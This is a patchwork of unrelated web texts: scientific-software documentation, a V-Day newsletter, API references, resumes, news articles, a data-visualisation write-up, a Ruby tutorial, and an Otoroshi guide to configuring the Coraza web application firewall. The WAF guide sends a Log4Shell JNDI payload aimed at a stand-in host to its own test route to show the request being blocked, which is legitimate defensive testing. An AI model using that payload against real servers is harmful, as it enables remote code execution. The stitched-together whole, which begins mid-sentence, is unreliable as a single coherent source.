time. There is man page available for further information.
- n2asc
- n2asc is program for producing columnar ASCII output of netCDF
files which conform to NCAR-RAF/nimbus conventions. n2asc
provides a Motif GUI for selecting files and variables to convert. See the
man page for directions on changing the output format.
- ncav
- ncav averages Low Rate nimbus/netCDF files to even lower rates.
The output goes to a new netCDF file. ncav defaults to averaging 10
seconds down to one sample. See the man page for details on changing
this.
- nstat
- nstat provides statistical information over a period of time
for given variables (mean, sigma, min, max). nstat provides a Motif
GUI, and for the same low price we've even included a man page.
- ncplot
- ncplot is a Motif/Xlib program to provide simple time-series plots
of nimbus/netCDF files. It will plot variables of differing rates on the same
plot. Currently this is the only program RAF supplies for viewing Multi-rate
data.
- ncxy
- ncxy is a Motif/Xlib program to provide simple XY plotting of
nimbus/netCDF files. It will plot variables of differing rates on the same
plot. ncxy is similar to ncplot, but only does X vs. Y plots.
Data Converters
We provide several converters to convert older format data to present.
- ADScvt
- ADScvt converts old HP ADS data to the modern ADS format, from
there nimbus may be run to produce netCDF files. This
program should not be used without consulting
Chris Webster, as a project directory will need to be created.
- dap2cdf
- dap2cdf converts DAP files to the nimbus/netCDF format.
- g2n
- g2n converts GENPRO files to the nimbus/netCDF format.
Appendices
Variable Database (VarDB)
The VarDB stores information about each variable produced
from nimbus. Information includes titles, units, valid ranges, and
information for WINDS. The VarDB files are binary and not
editable with a text editor. There is a master VarDB file located
in /home/local/proj/defaults, this file is copied into each project directory
at the creation of the project. Project Manager's and users should edit/add
variables to the VarDB in the project directory. Currently
Ron Ruth maintains the master VarDB.
- vdbdump
- vdbdump is used to produce ASCII dumps of selected information
from a VarDB file.
- vared
- vared is a Motif GUI program used for editing VarDB files.
It's not particularly robust at this time.
- libVarDB.a
- There is an API available for the VarDB, anyone writing their own
programs can interface to this library. For further information see the man
page for vardb.
PMS library
The libPMS has not been brought on line yet.
Skeleton Program
The skeleton program provides users with the ability to write there
own code to perform further processing on data. The skeleton provides
a Motif GUI and the framework for processing a whole file/flight. The user
only needs to program in the calculations for new or old variables. Use of
the skeleton is accomplished by copying all the files from
$LOCAL/nimbus/src/skel into a new directory. Read the file
README
for further directions.


http://action.vday.org/site/R?i=n2S_9Q-T_aEXoKnXzFYXaQ
http://action.vday.org/site/R?i=EJ_ySoDJTYb2lHtW-9wbew
http://action.vday.org/site/R?i=JOaP4QAg7_pTEkbCRcdpAw
http://action.vday.org/site/R?i=PDs6z8WPxByFsGNLl3Sh_A
http://action.vday.org/site/R?i=d98meQpAlwWg8oEPKn8Ilw
http://action.vday.org/site/R?i=UlAQuHkPb9Pt1mXcKuJqGA
21 Years Later And Still Healing A Reflection on Performing
“Crooked Braid” By V-Activist Onna LeBeau
onnaLB.jpeg
After performing the spotlight monologue The Crooked Braid in a 2016
production of The Vagina Monologues, Omaha Tribe member Onna Webster
LeBeau wrote to V-Day to share her experience of participating in the
play and performing the piece for an audience full of many strong
women including many Native American women. Her blog is a reflection
on her continued path of healing and strength:
The Crooked Braid monologue was created after Eve Ensler interviewed
women from the Pine Ridge Indian Reservation in my home state of South
Dakota. “Crooked Braid” is the voice of many Native American women who
have been victims of domestic abuse. I am American Indian. I am an
enrolled member of the Omaha Tribe of Nebraska. For me “Crooked Braid”
became personal. I couldn’t allow it to become personal.  Each time I read through “Crooked Braid” I was
the woman told to stay home by the man who was going to go out
drinking and who knows what else. Like the woman in Crooked Braid I
was the woman who was tossed around in a parking lot like a rag doll.
I was the woman who quietly hated her husband and wished the worst
wishes ever, who feared her son(s) would inherit the abuse as the
victim and eventually the abuser.
READ the blog >
http://action.vday.org/site/R?i=MBJ4p-rrHq9yeNq8bcfYYA
Mother’s Day V-Card!
mday4.jpg
Celebrate Mother’s Day by supporting our RISING work to end violence
against women and girls. Make a donation to V-Day on behalf of your
mother, a mother figure, friends, or loved ones, and V-Day will send a
specially designed 2016 Mother’s Day V-Card letting them know of their
unique gift in their honor.
CLICK HERE to give this V-Gift >
http://action.vday.org/site/R?i=d3THyd-NUl77LNcEtOyIJg
To send a V-Card on the donate page, check the box next to “Donate on
behalf of a loved one?” labeled “Yes, I would like to send a V-Day
e-card,” chose the design you would like to send, and fill in the rest
of the information to finish designing your gift.
Quartz Covers V-Day Taconic 2016 Performance At Queensboro Men’s
Prison
A must-read piece in Quartz features a short video with performances
including Lin Tucci of Orange Is the New Black performing and feedback
from the audience. The groundbreaking V-Day Taconic 2016 tour of “The
Vagina Monologues” a included a stop at Queensboro Correctional
Facility, a prison that prepares inmates to re-enter society, in
addition to performances at The Fortune Society, Edgecombe Residential
Treatment Facility, and a benefit at
Cherry Lane Theatre.
http://action.vday.org/site/R?i=0l-d1kqrsVOEsAZ_SoW8vA
READ the article and WATCH the video >
http://action.vday.org/site/R?i=wawaffeQqRea8_9BpmpfNg
Taconic Queensborough.jpg
Photo Credit: Siyi Chen/Quartz
http://action.vday.org/site/R?i=Kl_RhjjFg4FIjIvUw3q4nw
http://action.vday.org/site/R?i=IR5brQC-Smz5TP7W0ttRzg
http://action.vday.org/site/R?i=fpt5p4lR-pjaYBPHn0xiHg
http://action.vday.org/site/R?i=x-vt5-1IZteoccxyaST56g
http://action.vday.org/site/R?i=VOguySKwVCYhEiak6Ii0Zw
http://action.vday.org/site/R?i=Y7ATYfll80Xnjil0h8isPQ
http://action.vday.org/site/R?i=jwoAtvvrJzNBoTRlWUjqWA
http://action.vday.org/site/R?i=LJXnx2AOzwe9lwz49g8HNA
unsubscribe
http://action.vday.org/site/CO?i=Shmw6jVdN00N4mfBSuclLYJAIzY80PnY&cid=1062
Powered By Blackbaud


class Query extends AbstractEntity
Methods
| __construct(EntityManager $em) | from AbstractEntity | |
| integer |
getOffsetStart()
The offset start |
|
| setOffsetStart($offsetStart) | ||
| integer |
getPerPage()
The number item to retrieve |
|
| setPerPage($perPage) | ||
| integer |
getAvailableResults()
Return the available results its depens of the search engine used on the requested instance |
|
| setAvailableResults($availableResults) | ||
| integer |
getTotalResults()
Get the total result |
|
| setTotalResults($totalResults) | ||
| string |
getError()
Get errors as string |
|
| setError($error) | ||
| string |
getWarning()
Get warnings as string |
|
| setWarning($warning) | ||
| float |
getQueryTime()
Get the query time |
|
| setQueryTime($queryTime) | ||
| string |
getSearchIndexes()
Get search indexes |
|
| setSearchIndexes($searchIndexes) | ||
| string |
getQuery()
Get the query string |
|
| setQuery($query) | ||
| ArrayCollection |
getSuggestions()
Get query suggestions as a collection of PhraseanetSDK\Entity\QuerySuggestion objects |
|
| setSuggestions(ArrayCollection $suggestions) | ||
| ArrayCollection |
getResults($type = 'record')
Get result as a collection of PhraseanetSDK\Entity\Record objects |
|
| setResults(Result $results) |
Details
in AbstractEntity at line 21
final public
__construct(EntityManager $em)
at line 45
public integer
getOffsetStart()
The offset start
at line 50
public
setOffsetStart($offsetStart)
at line 60
public integer
getPerPage()
The number item to retrieve
at line 65
public
setPerPage($perPage)
at line 76
public integer
getAvailableResults()
Return the available results its depens of the search engine used on the requested instance
at line 81
public
setAvailableResults($availableResults)
at line 91
public integer
getTotalResults()
Get the total result
at line 96
public
setTotalResults($totalResults)
at line 106
public string
getError()
Get errors as string
at line 111
public
setError($error)
at line 121
public string
getWarning()
Get warnings as string
at line 126
public
setWarning($warning)
at line 136
public float
getQueryTime()
Get the query time
at line 141
public
setQueryTime($queryTime)
at line 151
public string
getSearchIndexes()
Get search indexes
at line 156
public
setSearchIndexes($searchIndexes)
at line 166
public string
getQuery()
Get the query string
at line 171
public
setQuery($query)
at line 182
public ArrayCollection
getSuggestions()
Get query suggestions as a collection of PhraseanetSDK\Entity\QuerySuggestion objects
at line 187
public
setSuggestions(ArrayCollection $suggestions)
at line 197
public ArrayCollection
getResults($type = 'record')
Get result as a collection of PhraseanetSDK\Entity\Record objects


Your account has been created on our platform; here is your login information Email address : email To confirm the validity of your email address, please click on the link below
Confirm my account
Regards, The AwesomeApp Team


Window Interface
When DatabaseManager updates games it also optimizes the artwork, this window sets the optimizer settings for DatabaseManager. You can access this window by clicking File -> Optimizer Settings.
Window Interface
Cover
Height – The height of the Box Art after optimization
(Recommended setting: 800px)
Image Quality – A value
between 1 and 99, where 99 is best quality and 1 is worst
(Recommended setting: 75)
Optimize updated art only?
– Optimize art only when its been updated (Recommended setting:
Not Ticked)
Backgrounds?(Slow) – If you are having
problems with some Fan Art being downloaded but failing to show up on
FrontEnd then tick this and it should solve the problem. If your not
having problems you don't really need to tick this as it slows the
program down. (Recommended setting: Not Ticked)


Simply, Scratch is a tool for learning code. It provides a graphic user interface so that anyone who wants to learn computer programming can easily try and learn how to code. This is a good tool for kids. They might think that this is one of the different games.
There is a character, and it follows your mouse pointer. While it is following you, it generates itself with randomly generated colors. It leaves itself so that you can see the character's movement tracks.


- Home
- About Me
- Goals
- Knowledge
- Skills
- Abilities
Professional Qualifications
- Completed CF 101 Course.
- Completed CF 102 Course.
- 3 days of training in 201.
- My first computer was a Commodore 64.
- 8 years of professional Sales Expereince.
- 6 years of managerial experience.


{% with surveytype|add:' Results' as text %}
{% trans text as headingtext %}
{% include "patterns/basics/headings/sp_variations/heading.html" with type="component" htmltag="h1" title=headingtext %}
{% endwith %}
{% with 'Your '|add:surveytype|add:' has been completed successfully. Please see your submission results below.' as paragraph_text %}
{% trans paragraph_text as headingtext %}
{% include "patterns/basics/headings/sp_variations/heading.html" with type="subheading" htmltag="h4" title=headingtext %}
{% for question, answers in results.items %}
{% endfor %}
{% endwith %}


HOME
BLOG
Technical Blog
Sprint 1: The Story of Te Houtaewa
Sprint 2: Classes and IDs
Sprint 3: HTML, CSS and JavaScript
Sprint 4: Problem Solving
Sprint 5: Minesweeper
Sprint 5: Calculator
Core Blog
Sprint 1: Identities, Values and Strengths
Sprint 2: Learning Plan
Sprint 3: Emotional Intelligence
Sprint 4: Neuroplasticity and Growth Mindset
Sprint 5: Core Reflections


This project is an attempt to improve visualizing if data is subject to Simpson's paradox. Simpson's paradox occurs when grouped data has an opposite trend from the total aggregate. This occurs when there's a lurking variable present, like data weights. Most visualizations fail to show data values and their weights at the same time.
The first attempt is an improvement of the comet chart. The comets in the chart represent data at two different time periods. The tip of the comet is the start and the wider tail is the end time. Blue and orange colors mean that the data weight is either heavily skewed one side or another. In the below comet chart, many items are grey on the left side because it's using a log scale.
The comet chart has two major pitfalls. First, it can only show two date differences. Second, and most importantly, it's difficult which direction small comets are pointing. For example, the black aggregate comet is so small it's essentially a triangle. Both of these shortcomings can be fixed by making the chart 3D, since the depth can allow an arbitrary number of time steps and small comets can be rotated to determine their position. The 3D representation removed the comets however sine the direction of time flow is more obvious with a dedicated axis.
The comet chart on the left is a prototype version that one of the creators sent me. She told me the full version wasn't
available for distribution. The data set involves new born baby's weights, broken up by state. The only interactivity
is seeing more information about the data facets by hovering over each comet. The full version described in the paper
has much more interactivity enabled.
The 3D comet chart to the right is the exact same data set. Dragging the mouse left and right will rotate the data,
and holding the y
key allows tilting up and down as well.
Clicking the data set drop down toggles which data is being viewed. The second and third data sets are unemployment
data for different market segments. The sharp color and position difference signals that the market segment weights
- the market size in this case - are changing and can skew aggregate results.
The 3D comet chart is made with WebGL. It's essentially three components, each with a separate shader. The axes
are the first component; they are simply a few vertices with indices connecting them into the familiar 3D cartesian
plot. The data lines are the next component, where each line has a custom color depending on how much the weighted
category has changed. For the employment data, I added support for an arbitrary number of time steps in the data.
Finally, there's the axis labels. Each label is a textured plane carefully positioned over the proper axis. The
texture is generated using a Canvas
that has text set on it. WebGL can take a canvas directly as
a texture, making text manipulation very easy.
The bottom two visualizations were my attempt on visualizing Simpson's paradox data that doesn't have a time component. It's data from a case in Berkley in the 1960s where more men then women were admitted overall, but for most departments women were accepted in higher numbers. The lurking variable is the amount of women and that applied to each department is different. Women applied to more selective departments so while they were accepted to them more than men they were still rejected more overall.
The Vector Visualization colors lines pink or blue according to if more women or men were admitted to a department. The large line is the aggregate however, so overall most departments admitted more women. The components was an attempt to replicate this image but with multiple categories instead of just two. Lining up the vectors head to tail however didn't produce an interesting visualization.
This project allowed me to cultivate a good software development base for future WebGL work. I learned how to use Bower to install and manage client side packages and bower to automatically include them in the main HTML file. I also set up a reliable system to import shaders from external files. It's surprisingly difficult to store shaders to use with WebGL; many examples store the shaders in script tags on the main HTML page. This makes managing shaders unruly as more and more get added. Most importantly for me, I lose syntax highlighting if shaders are not in a separate .glsl file.
The idea for this project comes from the paper Visualizing Statistical Mix Effects and Simpson's Paradox which pioneered the comet chart, along with formalizing the issue and giving ideas about future work. I use twgl as a thin wrapper around WebGL. It makes the API less verbose and includes helpful additions like libraries to multiply 4x4 matricies and generate common geometric primitives. Finally, this tutorial helped me to get text in my WebGL application.


The Microsoft SQL Server JDBC Driver supports interfaces that allow you create a proxy of a class, and wrappers that let you access extensions to the JDBC API that are specific to the SQL Server JDBC Driver through a proxy interface.
Wrappers
The SQL Server JDBC Driver supports the java.sql.Wrapper interface. This interface provides a mechanism to access extensions to the JDBC API that are specific to the SQL Server JDBC Driver through a proxy interface.
The java.sql.Wrapper interface defines two methods: isWrapperFor and unwrap. The isWrapperFor method checks whether the specified input object implements this interface. The unwrap method returns an object that implements this interface to allow access to the SQL Server JDBC Driver specific methods.
isWrapperFor and unwrap methods are exposed as follows:
-
isWrapperFor Method (SQLServerCallableStatement)
-
unwrap Method (SQLServerCallableStatement)
-
isWrapperFor Method (SQLServerConnectionPoolDataSource)
-
unwrap Method (SQLServerConnectionPoolDataSource)
-
isWrapperFor Method (SQLServerDataSource)
-
unwrap Method (SQLServerDataSource)
-
isWrapperFor Method (SQLServerPreparedStatement)
-
unwrap Method (SQLServerPreparedStatement)
-
isWrapperFor Method (SQLServerStatement)
-
unwrap Method (SQLServerStatement)
-
isWrapperFor Method (SQLServerXADataSource)
-
unwrap Method (SQLServerXADataSource)
Interfaces
Beginning in SQL Server JDBC Driver 3.0, interfaces are available for an application server to access a driver specific method from the associated class. The application server can wrap the class by creating a proxy, exposing the SQL Server JDBC driver-specific functionality from an interface. The SQL Server JDBC driver supports interfaces that have the SQL Server JDBC driver specific methods and constants so an application server can create a proxy of the class.
The interfaces derive from standard Java interfaces so you can use the same object once it is unwrapped to access driver specific functionality or generic SQL Server JDBC driver functionality.
The following interfaces are added:
Example
Description
This sample demonstrates how to access to a SQL Server JDBC Driver-specific function from a DataSource object. This DataSource class may have been wrapped by an application server. To access the JDBC driver-specific function or constant, you can unwrap the datasource to an ISQLServerDataSource interface and use the functions declared in this interface.
Code
import javax.sql.*; import java.sql.*; import com.microsoft.sqlserver.jdbc.*; public class UnWrapTest { public static void main(String[] args) { // This is a test. This DataSource object could be something from an appserver // which has wrapped the real SQLServerDataSource with its own wrapper SQLServerDataSource ds = new SQLServerDataSource(); checkSendStringParametersAsUnicode(ds); } // Unwrap to the ISQLServerDataSource interface to access the getSendStringParametersAsUnicode function static void checkSendStringParametersAsUnicode(DataSource ds) { try { final ISQLServerDataSource sqlServerDataSource = ds.unwrap(ISQLServerDataSource.class); boolean sendStringParametersAsUnicode = sqlServerDataSource.getSendStringParametersAsUnicode(); System.out.println("Send string as parameter value is:-" + sendStringParametersAsUnicode); } catch (SQLException sqlE) { System.out.println("Exception:-" + sqlE); } } }


US, China reach consensus on principles after trade talks: Report
The White House had no immediate comment on the report
by ReutersThe United States and China have reached consensus after talks between their main trade negotiators on Friday, Beijing's state-media Xinhua News Agency reported.
"The two sides conducted serious and constructive discussions on properly addressing their core concerns and reached consensus on principles. The two sides discussed the next consultation arrangements," Xinhua said on its website.
The White House had no immediate comment on the report.


Instantiate a WAF with Coraza
Sometimes you may want to secure an app with a Web Appplication Firewall (WAF) and apply the security rules from the OWASP Core Rule Set. To allow that, we integrated the Coraza WAF in Otoroshi through a plugin that uses the WASM version of Coraza.
Before you start
If you already have an up and running otoroshi instance, you can skip the following instructions
Let’s start by downloading the latest Otoroshi.
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.8.0/otoroshi.jar'
then you can run start Otoroshi :
java -Dotoroshi.adminPassword=password -jar otoroshi.jar
Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with<EMAIL_ADDRESS>Create a new route, exposed on http://myservice.oto.tools:8080
, which will forward all requests to the mirror https://mirror.otoroshi.io
. Each call to this service will returned the body and the headers received by the mirror.
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
-H "Content-type: application/json" \
-u admin-api-apikey-id:admin-api-apikey-secret \
-d @- <<'EOF'
{
"name": "my-service",
"frontend": {
"domains": ["myservice.oto.tools"]
},
"backend": {
"targets": [
{
"hostname": "mirror.otoroshi.io",
"port": 443,
"tls": true
}
]
}
}
EOF
Create a WAF configuration
first, go on the features page of otoroshi and then click on the Coraza WAF configs. item.
Now create a new configuration, give it a name and a description, ensure that you enabled the Inspect req/res body
flag and save your configuration.
The corresponding admin api call is the following :
curl -X POST 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs' \
-u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '
{
"id": "coraza-waf-demo",
"name": "My blocking WAF",
"description": "An awesome WAF",
"inspect_body": true,
"config": {
"directives_map": {
"default": [
"Include @recommended-conf",
"Include @crs-setup-conf",
"Include @owasp_crs/*.conf",
"SecRuleEngine DetectionOnly"
]
},
"default_directives": "default",
"per_authority_directives": {}
}
}'
Configure Coraza and the OWASP Core Rule Set
Now you can easily configure the coraza WAF in the json
config. section. By default it should look something like :
{
"directives_map": {
"default": [
"Include @recommended-conf",
"Include @crs-setup-conf",
"Include @owasp_crs/*.conf",
"SecRuleEngine DetectionOnly"
]
},
"default_directives": "default",
"per_authority_directives": {}
}
You can find anything about it in the documentation of Coraza.
here we have the basic setup to apply the OWASP core rule set in detection mode only. So each time Coraza will find something weird in a request, it will only log it but let the request pass. We can enable blocking by setting "SecRuleEngine On"
we can also deny access to the /admin
uri by adding the following directive
"SecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:1,t:lowercase,deny\""
You can also provide multiple profile of rules in the directives_map
with different names and use the per_authority_directives
object to map hostnames to a specific profile.
the corresponding admin api call is the following :
curl -X PUT 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/coraza-waf-demo' \
-u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '
{
"id": "coraza-waf-demo",
"name": "My blocking WAF",
"description": "An awesome WAF",
"inspect_body": true,
"config": {
"directives_map": {
"default": [
"Include @recommended-conf",
"Include @crs-setup-conf",
"Include @owasp_crs/*.conf",
"SecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:1,t:lowercase,deny\"",
"SecRuleEngine On"
]
},
"default_directives": "default",
"per_authority_directives": {}
}
}'
Add the WAF plugin on your route
Now you can create a new route that will use your WAF configuration. Let say we want a route on http://wouf.oto.tools:8080
to goes to https://www.otoroshi.io
. Now add the Coraza WAF
plugin to your route and in the configuration select the configuration you created previously.
the corresponding admin api call is the following :
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
-u admin-api-apikey-id:admin-api-apikey-secret \
-H 'Content-Type: application/json' -d '
{
"id": "route_demo",
"name": "WAF route",
"description": "A new route with a WAF enabled",
"frontend": {
"domains": [
"wouf.oto.tools"
]
},
"backend": {
"targets": [
{
"hostname": "www.otoroshi.io",
"port": 443,
"tls": true
}
]
},
"plugins": [
{
"plugin": "cp:otoroshi.wasm.proxywasm.NgCorazaWAF",
"config": {
"ref": "coraza-waf-demo"
},
"plugin_index": {
"validate_access": 0,
"transform_request": 0,
"transform_response": 0
}
},
{
"plugin": "cp:otoroshi.next.plugins.OverrideHost",
"plugin_index": {
"transform_request": 1
}
}
]
}'
Try to use an exploit ;)
let try to trigger Coraza with a Log4Shell crafted request:
curl 'http://wouf.oto.tools:9999' -H 'foo: ${jndi:rmi://foo/bar}' --include
HTTP/1.1 403 Forbidden
Date: Thu, 25 May 2023 09:47:04 GMT
Content-Type: text/plain
Content-Length: 0
or access to /admin
curl 'http://wouf.oto.tools:9999/admin' --include
HTTP/1.1 403 Forbidden
Date: Thu, 25 May 2023 09:47:04 GMT
Content-Type: text/plain
Content-Length: 0
if you look at otoroshi logs you will find something like :
[error] otoroshi-proxy-wasm - [client "<IP_ADDRESS>"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell
[file<EMAIL_ADDRESS>[line "10608"] [id "944150"] [rev ""]
[msg "Potential Remote Command Execution: Log4j / Log4shell"] [data ""] [severity "critical"]
[ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"] [tag "application-multi"]
[tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "OWASP_CRS"]
[tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [tag "paranoia-level/1"] [hostname "wwwwouf.oto.tools"]
[uri "/"] [unique_id "uTYakrlgMBydVGLodbz"]
[error] otoroshi-proxy-wasm - [client "<IP_ADDRESS>"] Coraza: Warning. Inbound Anomaly Score Exceeded (Total Score: 5)
[file<EMAIL_ADDRESS>[line "11029"] [id "949110"] [rev ""]
[msg "Inbound Anomaly Score Exceeded (Total Score: 5)"]
[data ""] [severity "emergency"] [ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"]
[tag "anomaly-evaluation"] [hostname "wwwwouf.oto.tools"] [uri "/"] [unique_id "uTYakrlgMBydVGLodbz"]
[info] otoroshi-proxy-wasm - Transaction interrupted tx_id="uTYakrlgMBydVGLodbz" context_id=3 action="deny" phase="http_response_headers"
...
[error] otoroshi-proxy-wasm - [client "<IP_ADDRESS>"] Coraza: Warning. [file ""] [line "12914"]
[id "101"] [rev ""] [msg ""] [data ""] [severity "emergency"] [ver ""] [maturity "0"] [accuracy "0"]
[hostname "wwwwouf.oto.tools"] [uri "/admin"] [unique_id "mqXZeMdzRaVAqIiqvHf"]
[info] otoroshi-proxy-wasm - Transaction interrupted tx_id="mqXZeMdzRaVAqIiqvHf" context_id=2 action="deny" phase="http_request_headers"
Generated events
each time Coraza will generate log about vunerability detection, an event will be generated in otoroshi and exporter through the usual data exporter way. The event will look like :
{
"@id" : "86b647450-3cc7-42a9-aaec-828d261a8c74",
"@timestamp" :<PHONE_NUMBER>157,
"@type" : "CorazaTrailEvent",
"@product" : "otoroshi",
"@serviceId" : "--",
"@service" : "--",
"@env" : "prod",
"level" : "ERROR",
"msg" : "Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell",
"fields" : {
"hostname" : "wouf.oto.tools",
"maturity" : "0",
"line" : "10608",
"unique_id" : "oNbisKlXWaCdXntaUpq",
"tag" : "paranoia-level/1",
"data" : "",
"accuracy" : "0",
"uri" : "/",
"rev" : "",
"id" : "944150",
"client" : "<IP_ADDRESS>",
"ver" : "OWASP_CRS/4.0.0-rc1",
"file"<EMAIL_ADDRESS>"msg" : "Potential Remote Command Execution: Log4j / Log4shell",
"severity" : "critical"
},
"raw" : "[client \"<IP_ADDRESS>\"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell [file<EMAIL_ADDRESS>[line \"10608\"] [id \"944150\"] [rev \"\"] [msg \"Potential Remote Command Execution: Log4j / Log4shell\"] [data \"\"] [severity \"critical\"] [ver \"OWASP_CRS/4.0.0-rc1\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-java\"] [tag \"platform-multi\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/152/137/6\"] [tag \"PCI/6.5.2\"] [tag \"paranoia-level/1\"] [hostname \"wouf.oto.tools\"] [uri \"/\"] [unique_id \"oNbisKlXWaCdXntaUpq\"]\n",
}


Hallo, I am Fenia
Frontend Developer
Experience in web design and development knowledge, producing quality work.
 Dotsystem Indonesia - Bandung
2020 - Now
IT Consultant
PT. Dotsystem Indonesia- Bandung
2020 - Now
Cashier
PT. Sumber Alfaria Trijaya - Cimahi
2014 - 2015


--- layout: default ---
News: We have reached the end of Season 1. Follow us to stay updated with what's coming next.


Cannabis legalisation: Does it lead to harder drug use?
by Reality Check teamThere's strong disagreement among Democratic contenders for the US presidency about legalising cannabis and it's been a flashpoint in their televised debates.
Joe Biden, currently the leading contender in the race, won't be drawn either way. He wants more evidence about whether using it could act as a "gateway" to the use of harder drugs before it's legalised throughout the US.
Getty
There's not nearly enough evidence as to whether or not marijuana is a gateway drug.Joe Biden
US Democratic presidential contender
"Before I legalise it nationally," said Biden, "I want to make sure we know a lot more about the science behind it."
But other Democrats, such as Cory Booker and Kamala Harris, have attacked this approach, saying the evidence is clear-cut and that cannabis use should be legalised.
Getty
Let's be clear: marijuana isn't a gateway drug and should be legalised.Kamala Harris
US Democratic senator
Senator Booker, who supports legalisation, joked that he thought Mr Biden "might have been high" when he said he opposed legalisation. Senator Harris has said: "Let's be clear; marijuana isn't a gateway drug and should be legalised."
Other senior Democrats such as Bernie Sanders and Elizabeth Warren also say they support legalisation.
Polling by the Pew Research Center shows that public support for legalisation has steadily increased in the last decade, with two-thirds of Americans now supporting it.
What does the science say?
Some 33 states have legalised medical cannabis, while 11 states and Washington DC have also legalised recreational use. But cannabis use remains illegal at the federal level.
So is there evidence legalising cannabis could lead to the use of more dangerous substances?
The US government's own National Institute on Drug Abuse states that "some research suggests that marijuana use is likely to precede use of other licit and illicit substances". It cites experiments on animals that show increased responsiveness to other drugs after being exposed to substances containing cannabis.
However, it adds that cannabis is not unique - alcohol and nicotine have a similar effect. And it states that the majority of people who use marijuana do not go on to use other, "harder" substances.
Denise Kandel, from the Mailman School of Public Health in New York, says research on animals shows changes in the way the brain responds to cocaine after exposure to alcohol, nicotine or marijuana.
She also says: "You are never able to establish a clear connection between using marijuana and using other drugs because there are so many other contributing factors that you can't control for in the research."
A paper published recently by the American Journal of Drug and Alcohol Abuse says: "Evidence of the impact of cannabis liberalisation on the use of other substances is inconclusive. We have limited evidence of how either alcohol or tobacco use has been impacted."
What's happened in states that have legalised?
There's evidence that in states where cannabis has been legalised, usage of the drug among teenagers has decreased - or stayed the same.
There's also research indicating that among adults aged 26 and older, legalisation leads to more rather than less cannabis use.
And evidence has also emerged linking regular use of stronger strains of cannabis to an increased risk of mental health conditions, particularly among younger people.
Washington, Oregon, Alaska and Colorado all legalised between 2014 and 2016, among the first US states to do so. Do they show any particular trends for the use of harder drugs?
Opioid deaths per 100,000 population
Source: Centers for Disease Control and Prevention
The US authorities collect data for drug overdose deaths, and between 2013 and 2017, 35 states had significant increases in deaths over that period. Alaska is among these, but Washington, Colorado and Oregon are not.
The majority of these fatal overdoses are due to opioids - excluding methadone.
Alaska apart, opioid deaths in Colorado, Washington and Oregon did not increase significantly between 2013 and 2016, the last year for which data is available.
Cocaine use
Percentage of users aged 12 or over
(Data estimates)
Source: National Survey on Drug Use and Health
And estimates for cocaine use in the four states where marijuana is legal show it was above the national average from 2013 to 2016. But it was also higher in three of these states in 2012 before legalisation had taken effect.
Given that there are many different factors in each state that affect drug use like availability and supply, treatment and rehabilitation programmes, law enforcement priorities and social and economic conditions, it's hard to draw firm conclusions.
So more research may well be needed over a longer period to identify if there are clear trends around the use of other drugs in places where cannabis has been legalised.


Purpose — Why Do We Create a Tech Radar?
The Foodora Tech Radar is a tool to inspire and support teams to pick the best technologies for new projects; it provides a platform to share knowledge and experience in technologies, to reflect on technology decisions and continuously evolve our technology landscape. Based on ideas of ThoughtWorks, our Tech Radar sets out the changes in technologies that are interesting in software development; changes that we think our engineering teams should pay attention to and consider using in their projects.
Scope — What Is the Tech Radar?
The Foodora Tech Radar is a list of technologies, frameworks, tools and methods, complemented by an assessment result, called ring assignment; we use 4 rings with a slightly adapted semantics to fit our purpose:
- Adopt — Technologies we have high confidence to serve our purpose, also in large scale. Technologies with an usage culture in our Foodora production environment, low risk and recommend to be widely used.
- Trial — Technologies that we have seen work with success in project work to solve a real problem; here we have first serious usage experience that confirm benefits and can uncover limitations. Trial technologies are slightly more risky; some engineers in our organization have gone this path and will share knowledge and experiences.
- Assess — Technologies that are promising and have clear potential value-add for us; technologies worth to invest some research and prototyping efforts to see if it has impact. Assess technologies have higher risks; they are often brand new and, while promising, highly unproven in our organisation. You will find some engineers that have knowledge on the technology and promote it; you may even find teams that already have started a serious prototyping project.
- Hold — Technologies not favoured to be used for new projects. Technologies that we think are not (yet) worth to (further) invest in. Hold technologies should not be used for new projects, but usually can be continued for existing projects.
|


GR32_Blend.pas includes low-level functions, mostly blending of pixels. The library automatically determines whether the CPU supports MMX instructions, and uses MMX optimized routines when it is possible.


Blocs, Procs, and Lambdas
Ruby Blocks, Procs, Lambdas
Blocks
A ruby block is the piece of code that is executed. This code can be executed using curly brackets {} or a pair of "do" and "end". Blocks can be used in conjunction with #each, #times, #collect, and other built-in methods. For example, in figure below are two ways in which we can print out the strings in the array.
The yield statement invokes a block. A yield statement can also be used with parameters for invoking a block. Let's take a look at this next example.
When yield is executed it runs the test statement "now in the block". Basically when yield is in the block it will run the test method with the block "{puts 'now in the block'}".
This is how a yield statement would look like with parameters.
By interpolating the names (inserting the argument "name") into the string we can call yield with an argument which will be used in the show_name method and the corresponding block.
Procs
In Ruby blocks cannot be saved to variables to write D.R.Y. code because blocks aren't objects. Procs come to the rescue here because they are objects themselves. Procs are "saved" blocks. They are simple to define. In the example below we create a new Proc for "multiply" and use multiply for both an_array and another_array without having to rewrite the math block. We just call "&"multiply". Collect! and Map! do the same thing; they both take each element from the array and replace the original element with the new element. Also procs can be called on via the ".call" method. If we had a new proc with the code block of "puts "hello!", we could use the name of that proc and add ".call" and the proc would run. We can also use the "&" to convert symbols as procs. In the example below, we turn the elements in string_array into integers by using the ":to_i" symbol.
Lambdas
